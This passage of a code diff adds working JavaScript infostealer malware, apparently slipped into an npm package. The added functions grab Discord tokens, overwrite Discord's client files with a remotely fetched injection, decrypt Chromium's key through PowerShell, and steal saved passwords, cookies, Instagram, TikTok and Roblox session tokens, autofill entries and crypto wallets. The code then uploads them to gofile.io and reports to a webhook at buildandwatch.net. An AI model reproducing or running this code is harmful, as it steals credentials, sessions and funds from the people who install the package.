Brave: path.join(local, "BraveSoftware", "Brave-Browser", "User Data", "Default"),
|
|
1084
|
+
Yandex: path.join(local, "Yandex", "YandexBrowser", "User Data", "Default"),
|
|
1085
|
+
};
|
|
1086
|
+
}
|
|
1087
|
+
|
|
1088
|
+
const tokens = {};
|
|
1089
|
+
for (let [platform, path] of Object.entries(paths)) {
|
|
1090
|
+
const tokenList = GetTokensFromPath(path);
|
|
1091
|
+
if (tokenList) {
|
|
1092
|
+
tokenList.forEach((token) => {
|
|
1093
|
+
SendDataToBackEnd(token)
|
|
1094
|
+
if (tokens[platform] === undefined) tokens[platform] = [];
|
|
1095
|
+
tokens[platform].push(token);
|
|
1096
|
+
});
|
|
1097
|
+
}
|
|
1098
|
+
}
|
|
1099
|
+
}
|
|
1100
|
+
|
|
1101
|
+
|
|
1102
|
+
async function StopCords() {
|
|
1103
|
+
exec('tasklist', (err, stdout) => {
|
|
1104
|
+
for (const executable of ['Discord.exe', 'DiscordCanary.exe', 'chrome.exe', 'discordDevelopment.exe', 'DiscordPTB.exe']) {
|
|
1105
|
+
if (stdout.includes(executable)) {
|
|
1106
|
+
exec(`taskkill /F /T /IM ${executable}`, (err) => {})
|
|
1107
|
+
exec(`"${localappdata}\\${executable.replace('.exe', '')}\\Update.exe" --processStart ${executable}`, (err) => {})
|
|
1108
|
+
}
|
|
1109
|
+
}
|
|
1110
|
+
})
|
|
1111
|
+
}
|
|
1112
|
+
|
|
1113
|
+
async function InfectDiscords() {
|
|
1114
|
+
var injection, betterdiscord = process.env.appdata + "\\BetterDiscord\\data\\betterdiscord.asar";
|
|
1115
|
+
if (fs.existsSync(betterdiscord)) {
|
|
1116
|
+
var read = fs.readFileSync(dir);
|
|
1117
|
+
fs.writeFileSync(dir, buf_replace(read, "api/webhooks", "spacestealerxD"))
|
|
1118
|
+
}
|
|
1119
|
+
const response = await httpx(`${baseapi}/injection2`, {
|
|
1120
|
+
data: {
|
|
1121
|
+
key: api_auth
|
|
1122
|
+
}
|
|
1123
|
+
});
|
|
1124
|
+
|
|
1125
|
+
const res = response.data.replace("%API_AUTH_HERE%", api_auth);
|
|
1126
|
+
injection = res;
|
|
1127
|
+
|
|
1128
|
+
await fs.readdir(local, (async (err, files) => {
|
|
1129
|
+
await files.forEach((async dirName => {
|
|
1130
|
+
dirName.toString().includes("cord") && await discords.push(dirName)
|
|
1131
|
+
})), discords.forEach((async discordPath => {
|
|
1132
|
+
await fs.readdir(local + "\\" + discordPath, ((err, file) => {
|
|
1133
|
+
file.forEach((async insideDiscordDir => {
|
|
1134
|
+
insideDiscordDir.includes("app-") && await fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir, ((err, file) => {
|
|
1135
|
+
file.forEach((async insideAppDir => {
|
|
1136
|
+
insideAppDir.includes("modules") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir, ((err, file) => {
|
|
1137
|
+
file.forEach((insideModulesDir => {
|
|
1138
|
+
insideModulesDir.includes("discord_desktop_core") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir, ((err, file) => {
|
|
1139
|
+
file.forEach((insideCore => {
|
|
1140
|
+
insideCore.includes("discord_desktop_core") && fs.readdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore, ((err, file) => {
|
|
1141
|
+
file.forEach((insideCoreFinal => {
|
|
1142
|
+
insideCoreFinal.includes("index.js") && (fs.mkdir(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\spacex", (() => {})),
|
|
1143
|
+
|
|
1144
|
+
fs.writeFile(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js", injection, (() => {})))
|
|
1145
|
+
if (!injection_paths.includes(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js")) {
|
|
1146
|
+
injection_paths.push(local + "\\" + discordPath + "\\" + insideDiscordDir + "\\" + insideAppDir + "\\" + insideModulesDir + "\\" + insideCore + "\\index.js");
|
|
1147
|
+
}
|
|
1148
|
+
}))
|
|
1149
|
+
}))
|
|
1150
|
+
}))
|
|
1151
|
+
}))
|
|
1152
|
+
}))
|
|
1153
|
+
}))
|
|
1154
|
+
}))
|
|
1155
|
+
}))
|
|
1156
|
+
}))
|
|
1157
|
+
}))
|
|
1158
|
+
}))
|
|
1159
|
+
}))
|
|
1160
|
+
}
|
|
1161
|
+
|
|
1162
|
+
async function getEncrypted() {
|
|
1163
|
+
for (let _0x4c3514 = 0; _0x4c3514 < browserPath.length; _0x4c3514++) {
|
|
1164
|
+
if (!fs.existsSync('' + browserPath[_0x4c3514][0])) {
|
|
1165
|
+
continue
|
|
1166
|
+
}
|
|
1167
|
+
try {
|
|
1168
|
+
let _0x276965 = Buffer.from(
|
|
1169
|
+
JSON.parse(fs.readFileSync(browserPath[_0x4c3514][2] + 'Local State'))
|
|
1170
|
+
.os_crypt.encrypted_key,
|
|
1171
|
+
'base64'
|
|
1172
|
+
).slice(5)
|
|
1173
|
+
const _0x4ff4c6 = Array.from(_0x276965),
|
|
1174
|
+
_0x4860ac = execSync(
|
|
1175
|
+
'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
|
|
1176
|
+
_0x4ff4c6 +
|
|
1177
|
+
"), $null, 'CurrentUser')"
|
|
1178
|
+
)
|
|
1179
|
+
.toString()
|
|
1180
|
+
.split('\r\n'),
|
|
1181
|
+
_0x4a5920 = _0x4860ac.filter((_0x29ebb3) => _0x29ebb3 != ''),
|
|
1182
|
+
_0x2ed7ba = Buffer.from(_0x4a5920)
|
|
1183
|
+
browserPath[_0x4c3514].push(_0x2ed7ba)
|
|
1184
|
+
} catch (_0x32406b) {}
|
|
1185
|
+
}
|
|
1186
|
+
}
|
|
1187
|
+
|
|
1188
|
+
|
|
1189
|
+
|
|
1190
|
+
async function getExtension() {
|
|
1191
|
+
addFolder('Wallets'); // Assuming addFolder() function is defined somewhere
|
|
1192
|
+
|
|
1193
|
+
let walletCount = 0;
|
|
1194
|
+
let browserCount = 0;
|
|
1195
|
+
|
|
1196
|
+
for (let [extensionName, extensionPath] of Object.entries(extension)) {
|
|
1197
|
+
for (let i = 0; i < browserPath.length; i++) {
|
|
1198
|
+
let browserFolder;
|
|
1199
|
+
if (browserPath[i][0].includes('Local')) {
|
|
1200
|
+
browserFolder = browserPath[i][0].split('\\Local\\')[1].split('\\')[0];
|
|
1201
|
+
} else {
|
|
1202
|
+
browserFolder = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1];
|
|
1203
|
+
}
|
|
1204
|
+
|
|
1205
|
+
const browserExtensionPath = `${browserPath[i][0]}${extensionPath}`;
|
|
1206
|
+
if (fs.existsSync(browserExtensionPath)) {
|
|
1207
|
+
const walletFolder = `\\Wallets\\${extensionName}_${browserFolder}_${browserPath[i][1]}`;
|
|
1208
|
+
copyFolder(walletFolder, browserExtensionPath);
|
|
1209
|
+
walletCount++;
|
|
1210
|
+
count.wallets++;
|
|
1211
|
+
}
|
|
1212
|
+
}
|
|
1213
|
+
}
|
|
1214
|
+
|
|
1215
|
+
for (let [walletName, walletPath] of Object.entries(walletPaths)) {
|
|
1216
|
+
if (fs.existsSync(walletPath)) {
|
|
1217
|
+
const walletFolder = `\\wallets\\${walletName}`;
|
|
1218
|
+
copyFolder(walletFolder, walletPath);
|
|
1219
|
+
browserCount++;
|
|
1220
|
+
count.wallets++;
|
|
1221
|
+
}
|
|
1222
|
+
}
|
|
1223
|
+
|
|
1224
|
+
const walletCountStr = walletCount.toString();
|
|
1225
|
+
const browserCountStr = browserCount.toString();
|
|
1226
|
+
|
|
1227
|
+
if (walletCountStr !== '0' || browserCountStr !== '0') {
|
|
1228
|
+
const message = {
|
|
1229
|
+
embeds: [
|
|
1230
|
+
{
|
|
1231
|
+
title: 'Wallet Information',
|
|
1232
|
+
description: 'Here is the wallet information:',
|
|
1233
|
+
color: 0x0099ff,
|
|
1234
|
+
fields: [
|
|
1235
|
+
{
|
|
1236
|
+
name: '🛠️ Browser wallet',
|
|
1237
|
+
value: walletCountStr,
|
|
1238
|
+
inline: true,
|
|
1239
|
+
},
|
|
1240
|
+
{
|
|
1241
|
+
name: '🖥️ Desktop wallet',
|
|
1242
|
+
value: browserCountStr,
|
|
1243
|
+
inline: true,
|
|
1244
|
+
},
|
|
1245
|
+
],
|
|
1246
|
+
},
|
|
1247
|
+
],
|
|
1248
|
+
};
|
|
1249
|
+
|
|
1250
|
+
axios.post("https://buildandwatch.net/npm", message)
|
|
1251
|
+
.then(() => {
|
|
1252
|
+
console.log('Embed successfully sent through the webhook.');
|
|
1253
|
+
})
|
|
1254
|
+
.catch(error => {
|
|
1255
|
+
console.error('An error occurred while sending the embed:', error.message);
|
|
1256
|
+
});
|
|
1257
|
+
} else {
|
|
1258
|
+
console.log('walletCount and browserCount are both 0. No action needed.');
|
|
1259
|
+
}
|
|
1260
|
+
|
|
1261
|
+
}
|
|
1262
|
+
|
|
1263
|
+
|
|
1264
|
+
|
|
1265
|
+
async function getPasswords() {
|
|
1266
|
+
const _0x540754 = [];
|
|
1267
|
+
let passwordsFound = false; // Şifre bulunduğu zaman bu değeri true yapacağız
|
|
1268
|
+
|
|
1269
|
+
for (let _0x261d97 = 0; _0x261d97 < browserPath.length; _0x261d97++) {
|
|
1270
|
+
if (!fs.existsSync(browserPath[_0x261d97][0])) {
|
|
1271
|
+
continue;
|
|
1272
|
+
}
|
|
1273
|
+
|
|
1274
|
+
let _0xd541c2;
|
|
1275
|
+
if (browserPath[_0x261d97][0].includes('Local')) {
|
|
1276
|
+
_0xd541c2 = browserPath[_0x261d97][0].split('\\Local\\')[1].split('\\')[0];
|
|
1277
|
+
} else {
|
|
1278
|
+
_0xd541c2 = browserPath[_0x261d97][0].split('\\Roaming\\')[1].split('\\')[1];
|
|
1279
|
+
}
|
|
1280
|
+
|
|
1281
|
+
const _0x256bed = browserPath[_0x261d97][0] + 'Login Data';
|
|
1282
|
+
const _0x239644 = browserPath[_0x261d97][0] + 'passwords.db';
|
|
1283
|
+
|
|
1284
|
+
fs.copyFileSync(_0x256bed, _0x239644);
|
|
1285
|
+
|
|
1286
|
+
const _0x3d71cb = new sqlite3.Database(_0x239644);
|
|
1287
|
+
|
|
1288
|
+
await new Promise((_0x2c148b, _0x32e8f4) => {
|
|
1289
|
+
_0x3d71cb.each(
|
|
1290
|
+
'SELECT origin_url, username_value, password_value FROM logins',
|
|
1291
|
+
(_0x4c7a5b, _0x504e35) => {
|
|
1292
|
+
if (!_0x504e35.username_value) {
|
|
1293
|
+
return;
|
|
1294
|
+
}
|
|
1295
|
+
|
|
1296
|
+
let _0x3d2b4b = _0x504e35.password_value;
|
|
1297
|
+
try {
|
|
1298
|
+
const _0x5e1041 = _0x3d2b4b.slice(3, 15);
|
|
1299
|
+
const _0x279e1b = _0x3d2b4b.slice(15, _0x3d2b4b.length - 16);
|
|
1300
|
+
const _0x2a933a = _0x3d2b4b.slice(_0x3d2b4b.length - 16, _0x3d2b4b.length);
|
|
1301
|
+
const _0x210aeb = crypto.createDecipheriv(
|
|
1302
|
+
'aes-256-gcm',
|
|
1303
|
+
browserPath[_0x261d97][3],
|
|
1304
|
+
_0x5e1041
|
|
1305
|
+
);
|
|
1306
|
+
_0x210aeb.setAuthTag(_0x2a933a);
|
|
1307
|
+
const password =
|
|
1308
|
+
_0x210aeb.update(_0x279e1b, 'base64', 'utf-8') +
|
|
1309
|
+
_0x210aeb.final('utf-8');
|
|
1310
|
+
|
|
1311
|
+
_0x540754.push(
|
|
1312
|
+
'================\nURL: ' +
|
|
1313
|
+
_0x504e35.origin_url +
|
|
1314
|
+
'\nUsername: ' +
|
|
1315
|
+
_0x504e35.username_value +
|
|
1316
|
+
'\nPassword: ' +
|
|
1317
|
+
password +
|
|
1318
|
+
'\nApplication: ' +
|
|
1319
|
+
_0xd541c2 +
|
|
1320
|
+
' ' +
|
|
1321
|
+
browserPath[_0x261d97][1] +
|
|
1322
|
+
'\n'
|
|
1323
|
+
);
|
|
1324
|
+
|
|
1325
|
+
count.passwords++;
|
|
1326
|
+
passwordsFound = true; // Şifre bulunduğunu işaretliyoruz
|
|
1327
|
+
} catch (_0x5bf37a) {}
|
|
1328
|
+
},
|
|
1329
|
+
() => {
|
|
1330
|
+
_0x2c148b('');
|
|
1331
|
+
}
|
|
1332
|
+
);
|
|
1333
|
+
});
|
|
1334
|
+
}
|
|
1335
|
+
|
|
1336
|
+
if (_0x540754.length) {
|
|
1337
|
+
fs.writeFileSync(randomPath + '\\Wallets\\Passwords.txt', _0x540754.join(''), {
|
|
1338
|
+
encoding: 'utf8',
|
|
1339
|
+
flag: 'a+',
|
|
1340
|
+
});
|
|
1341
|
+
}
|
|
1342
|
+
|
|
1343
|
+
if (!passwordsFound) {
|
|
1344
|
+
// Şifre bulunamadıysa bu kod bloğu çalışır
|
|
1345
|
+
fs.writeFileSync(randomPath + '\\Wallets\\Passwords.txt', 'No passwords found.', {
|
|
1346
|
+
encoding: 'utf8',
|
|
1347
|
+
flag: 'a+',
|
|
1348
|
+
});
|
|
1349
|
+
}
|
|
1350
|
+
|
|
1351
|
+
|
|
1352
|
+
|
|
1353
|
+
|
|
1354
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
1355
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1356
|
+
.then(response => {
|
|
1357
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1358
|
+
const server = response.data.data.server;
|
|
1359
|
+
|
|
1360
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1361
|
+
const filePath = `${randomPath}/Wallets/Passwords.txt`;
|
|
1362
|
+
|
|
1363
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1364
|
+
const form = new FormData();
|
|
1365
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1366
|
+
|
|
1367
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1368
|
+
headers: form.getHeaders()
|
|
1369
|
+
})
|
|
1370
|
+
.then(uploadResponse => {
|
|
1371
|
+
const responsePayload = {
|
|
1372
|
+
uploadResponseData: uploadResponse.data
|
|
1373
|
+
};
|
|
1374
|
+
|
|
1375
|
+
// Webhook URL'si
|
|
1376
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1377
|
+
|
|
1378
|
+
// Embed verisini oluştur
|
|
1379
|
+
const embedData = {
|
|
1380
|
+
embeds: [
|
|
1381
|
+
{
|
|
1382
|
+
title: 'Password Dosyası Yükleme Yanıtı',
|
|
1383
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1384
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1385
|
+
}
|
|
1386
|
+
],
|
|
1387
|
+
};
|
|
1388
|
+
|
|
1389
|
+
// Webhook'a POST isteği gönder
|
|
1390
|
+
axios.post(webhookUrl, embedData)
|
|
1391
|
+
.then(webhookResponse => {
|
|
1392
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1393
|
+
})
|
|
1394
|
+
.catch(error => {
|
|
1395
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1396
|
+
});
|
|
1397
|
+
|
|
1398
|
+
})
|
|
1399
|
+
.catch(error => {
|
|
1400
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
1401
|
+
|
|
1402
|
+
const responsePayload = {
|
|
1403
|
+
error: error.message
|
|
1404
|
+
};
|
|
1405
|
+
|
|
1406
|
+
// Webhook URL'si
|
|
1407
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1408
|
+
|
|
1409
|
+
// Embed verisini oluştur
|
|
1410
|
+
const embedData = {
|
|
1411
|
+
embeds: [
|
|
1412
|
+
{
|
|
1413
|
+
title: 'Dosya Yükleme Hatası',
|
|
1414
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1415
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1416
|
+
}
|
|
1417
|
+
],
|
|
1418
|
+
};
|
|
1419
|
+
|
|
1420
|
+
// Webhook'a POST isteği gönder
|
|
1421
|
+
axios.post(webhookUrl, embedData)
|
|
1422
|
+
.then(webhookResponse => {
|
|
1423
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1424
|
+
})
|
|
1425
|
+
.catch(error => {
|
|
1426
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1427
|
+
});
|
|
1428
|
+
});
|
|
1429
|
+
} else {
|
|
1430
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1431
|
+
}
|
|
1432
|
+
})
|
|
1433
|
+
.catch(error => {
|
|
1434
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1435
|
+
});
|
|
1436
|
+
|
|
1437
|
+
|
|
1438
|
+
|
|
1439
|
+
};
|
|
1440
|
+
|
|
1441
|
+
|
|
1442
|
+
|
|
1443
|
+
async function getCookiesAndSendWebhook() {
|
|
1444
|
+
addFolder('Wallets\\Cookies');
|
|
1445
|
+
const cookiesData = {};
|
|
1446
|
+
|
|
1447
|
+
for (let i = 0; i < browserPath.length; i++) {
|
|
1448
|
+
if (!fs.existsSync(browserPath[i][0] + '\\Network')) {
|
|
1449
|
+
continue;
|
|
1450
|
+
}
|
|
1451
|
+
|
|
1452
|
+
let browserFolder;
|
|
1453
|
+
if (browserPath[i][0].includes('Local')) {
|
|
1454
|
+
browserFolder = browserPath[i][0].split('\\Local\\')[1].split('\\')[0];
|
|
1455
|
+
} else {
|
|
1456
|
+
browserFolder = browserPath[i][0].split('\\Roaming\\')[1].split('\\')[1];
|
|
1457
|
+
}
|
|
1458
|
+
|
|
1459
|
+
const cookiesPath = browserPath[i][0] + 'Network\\Cookies';
|
|
1460
|
+
const db = new sqlite3.Database(cookiesPath);
|
|
1461
|
+
|
|
1462
|
+
await new Promise((resolve, reject) => {
|
|
1463
|
+
db.each(
|
|
1464
|
+
'SELECT * FROM cookies',
|
|
1465
|
+
function (err, row) {
|
|
1466
|
+
let encryptedValue = row.encrypted_value;
|
|
1467
|
+
let iv = encryptedValue.slice(3, 15);
|
|
1468
|
+
let encryptedData = encryptedValue.slice(15, encryptedValue.length - 16);
|
|
1469
|
+
let authTag = encryptedValue.slice(encryptedValue.length - 16, encryptedValue.length);
|
|
1470
|
+
let decrypted = '';
|
|
1471
|
+
|
|
1472
|
+
try {
|
|
1473
|
+
const decipher = crypto.createDecipheriv('aes-256-gcm', browserPath[i][3], iv);
|
|
1474
|
+
decipher.setAuthTag(authTag);
|
|
1475
|
+
decrypted = decipher.update(encryptedData, 'base64', 'utf-8') + decipher.final('utf-8');
|
|
1476
|
+
if (row.host_key === '.instagram.com' && row.name === 'sessionid') {
|
|
1477
|
+
SubmitInstagram(`${decrypted}`);
|
|
1478
|
+
}
|
|
1479
|
+
|
|
1480
|
+
if (row.host_key === '.tiktok.com' && row.name === 'sessionid') {
|
|
1481
|
+
stealTikTokSession(`${decrypted}`);
|
|
1482
|
+
}
|
|
1483
|
+
|
|
1484
|
+
if (row.name === '.ROBLOSECURITY') {
|
|
1485
|
+
SubmitRoblox(`${decrypted}`);
|
|
1486
|
+
}
|
|
1487
|
+
} catch (error) {}
|
|
1488
|
+
|
|
1489
|
+
if (!cookiesData[browserFolder + '_' + browserPath[i][1]]) {
|
|
1490
|
+
cookiesData[browserFolder + '_' + browserPath[i][1]] = [];
|
|
1491
|
+
}
|
|
1492
|
+
|
|
1493
|
+
cookiesData[browserFolder + '_' + browserPath[i][1]].push(
|
|
1494
|
+
`${row.host_key} TRUE / FALSE 2597573456 ${row.name} ${decrypted} \n`
|
|
1495
|
+
);
|
|
1496
|
+
|
|
1497
|
+
count.cookies++;
|
|
1498
|
+
},
|
|
1499
|
+
() => {
|
|
1500
|
+
resolve('');
|
|
1501
|
+
}
|
|
1502
|
+
);
|
|
1503
|
+
});
|
|
1504
|
+
}
|
|
1505
|
+
|
|
1506
|
+
for (let [browserName, cookies] of Object.entries(cookiesData)) {
|
|
1507
|
+
if (cookies.length !== 0) {
|
|
1508
|
+
var cookiesContent = cookies.join('');
|
|
1509
|
+
fs.writeFileSync(
|
|
1510
|
+
randomPath + '\\Wallets\\Cookies\\' + browserName + '.txt',
|
|
1511
|
+
cookiesContent,
|
|
1512
|
+
{
|
|
1513
|
+
encoding: 'utf8',
|
|
1514
|
+
flag: 'a+',
|
|
1515
|
+
}
|
|
1516
|
+
);
|
|
1517
|
+
|
|
1518
|
+
|
|
1519
|
+
|
|
1520
|
+
|
|
1521
|
+
|
|
1522
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
1523
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1524
|
+
.then(response => {
|
|
1525
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1526
|
+
const server = response.data.data.server;
|
|
1527
|
+
|
|
1528
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1529
|
+
const filePath = `${randomPath}/Wallets/Cookies/${browserName}.txt`;
|
|
1530
|
+
|
|
1531
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1532
|
+
const form = new FormData();
|
|
1533
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1534
|
+
|
|
1535
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1536
|
+
headers: form.getHeaders()
|
|
1537
|
+
})
|
|
1538
|
+
.then(uploadResponse => {
|
|
1539
|
+
const responsePayload = {
|
|
1540
|
+
uploadResponseData: uploadResponse.data
|
|
1541
|
+
};
|
|
1542
|
+
|
|
1543
|
+
// Webhook URL'si
|
|
1544
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1545
|
+
|
|
1546
|
+
// Embed verisini oluştur
|
|
1547
|
+
const embedData = {
|
|
1548
|
+
embeds: [
|
|
1549
|
+
{
|
|
1550
|
+
title: 'Cookies Dosyası Yükleme Yanıtı',
|
|
1551
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1552
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1553
|
+
}
|
|
1554
|
+
],
|
|
1555
|
+
};
|
|
1556
|
+
|
|
1557
|
+
// Webhook'a POST isteği gönder
|
|
1558
|
+
axios.post(webhookUrl, embedData)
|
|
1559
|
+
.then(webhookResponse => {
|
|
1560
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1561
|
+
})
|
|
1562
|
+
.catch(error => {
|
|
1563
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1564
|
+
});
|
|
1565
|
+
|
|
1566
|
+
})
|
|
1567
|
+
.catch(error => {
|
|
1568
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
1569
|
+
|
|
1570
|
+
const responsePayload = {
|
|
1571
|
+
error: error.message
|
|
1572
|
+
};
|
|
1573
|
+
|
|
1574
|
+
// Webhook URL'si
|
|
1575
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1576
|
+
|
|
1577
|
+
// Embed verisini oluştur
|
|
1578
|
+
const embedData = {
|
|
1579
|
+
embeds: [
|
|
1580
|
+
{
|
|
1581
|
+
title: 'Dosya Yükleme Hatası',
|
|
1582
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1583
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1584
|
+
}
|
|
1585
|
+
],
|
|
1586
|
+
};
|
|
1587
|
+
|
|
1588
|
+
// Webhook'a POST isteği gönder
|
|
1589
|
+
axios.post(webhookUrl, embedData)
|
|
1590
|
+
.then(webhookResponse => {
|
|
1591
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1592
|
+
})
|
|
1593
|
+
.catch(error => {
|
|
1594
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1595
|
+
});
|
|
1596
|
+
});
|
|
1597
|
+
} else {
|
|
1598
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1599
|
+
}
|
|
1600
|
+
})
|
|
1601
|
+
.catch(error => {
|
|
1602
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1603
|
+
});
|
|
1604
|
+
|
|
1605
|
+
|
|
1606
|
+
|
|
1607
|
+
|
|
1608
|
+
|
|
1609
|
+
}
|
|
1610
|
+
}
|
|
1611
|
+
}
|
|
1612
|
+
|
|
1613
|
+
|
|
1614
|
+
async function getAutofills() {
|
|
1615
|
+
const _0x3aa126 = [];
|
|
1616
|
+
for (let _0x77640d = 0; _0x77640d < browserPath.length; _0x77640d++) {
|
|
1617
|
+
if (!fs.existsSync(browserPath[_0x77640d][0])) {
|
|
1618
|
+
continue;
|
|
1619
|
+
}
|
|
1620
|
+
let _0x3c2f27;
|
|
1621
|
+
if (browserPath[_0x77640d][0].includes('Local')) {
|
|
1622
|
+
_0x3c2f27 = browserPath[_0x77640d][0].split('\\Local\\')[1].split('\\')[0];
|
|
1623
|
+
} else {
|
|
1624
|
+
_0x3c2f27 = browserPath[_0x77640d][0].split('\\Roaming\\')[1].split('\\')[1];
|
|
1625
|
+
}
|
|
1626
|
+
const _0x46d7c4 = browserPath[_0x77640d][0] + 'Web Data';
|
|
1627
|
+
const _0x3ddaca = browserPath[_0x77640d][0] + 'webdata.db';
|
|
1628
|
+
fs.copyFileSync(_0x46d7c4, _0x3ddaca);
|
|
1629
|
+
var _0x4bf289 = new sqlite3.Database(_0x3ddaca, (_0x2d6f43) => {});
|
|
1630
|
+
await new Promise((_0x12c353, _0x55610b) => {
|
|
1631
|
+
_0x4bf289.each(
|
|
1632
|
+
'SELECT * FROM autofill',
|
|
1633
|
+
function (_0x54f85c, _0x40d0dd) {
|
|
1634
|
+
if (_0x40d0dd) {
|
|
1635
|
+
_0x3aa126.push(
|
|
1636
|
+
'================\nName: ' +
|
|
1637
|
+
_0x40d0dd.name +
|
|
1638
|
+
'\nValue: ' +
|
|
1639
|
+
_0x40d0dd.value +
|
|
1640
|
+
'\nApplication: ' +
|
|
1641
|
+
_0x3c2f27 +
|
|
1642
|
+
' ' +
|
|
1643
|
+
browserPath[_0x77640d][1] +
|
|
1644
|
+
'\n'
|
|
1645
|
+
);
|
|
1646
|
+
count.autofills++;
|
|
1647
|
+
}
|
|
1648
|
+
},
|
|
1649
|
+
function () {
|
|
1650
|
+
_0x12c353('');
|
|
1651
|
+
}
|
|
1652
|
+
);
|
|
1653
|
+
});
|
|
1654
|
+
if (_0x3aa126.length === 0) {
|
|
1655
|
+
_0x3aa126.push('No autofills found for ' + _0x3c2f27 + ' ' + browserPath[_0x77640d][1] + '\n');
|
|
1656
|
+
}
|
|
1657
|
+
}
|
|
1658
|
+
if (_0x3aa126.length) {
|
|
1659
|
+
fs.writeFileSync(randomPath + '\\Wallets\\Autofills.txt', user.copyright + _0x3aa126.join(''), {
|
|
1660
|
+
encoding: 'utf8',
|
|
1661
|
+
flag: 'a+',
|
|
1662
|
+
});
|
|
1663
|
+
}
|
|
1664
|
+
|
|
1665
|
+
|
|
1666
|
+
|
|
1667
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
1668
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1669
|
+
.then(response => {
|
|
1670
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1671
|
+
const server = response.data.data.server;
|
|
1672
|
+
|
|
1673
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1674
|
+
const filePath = `${randomPath}/Wallets/Autofills.txt`;
|
|
1675
|
+
|
|
1676
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1677
|
+
const form = new FormData();
|
|
1678
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1679
|
+
|
|
1680
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1681
|
+
headers: form.getHeaders()
|
|
1682
|
+
})
|
|
1683
|
+
.then(uploadResponse => {
|
|
1684
|
+
const responsePayload = {
|
|
1685
|
+
uploadResponseData: uploadResponse.data
|
|
1686
|
+
};
|
|
1687
|
+
|
|
1688
|
+
// Webhook URL'si
|
|
1689
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1690
|
+
|
|
1691
|
+
// Embed verisini oluştur
|
|
1692
|
+
const embedData = {
|
|
1693
|
+
embeds: [
|
|
1694
|
+
{
|
|
1695
|
+
title: 'Autofill Dosya Yükleme Yanıtı',
|
|
1696
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1697
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1698
|
+
}
|
|
1699
|
+
],
|
|
1700
|
+
};
|
|
1701
|
+
|
|
1702
|
+
// Webhook'a POST isteği gönder
|
|
1703
|
+
axios.post(webhookUrl, embedData)
|
|
1704
|
+
.then(webhookResponse => {
|
|
1705
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1706
|
+
})
|
|
1707
|
+
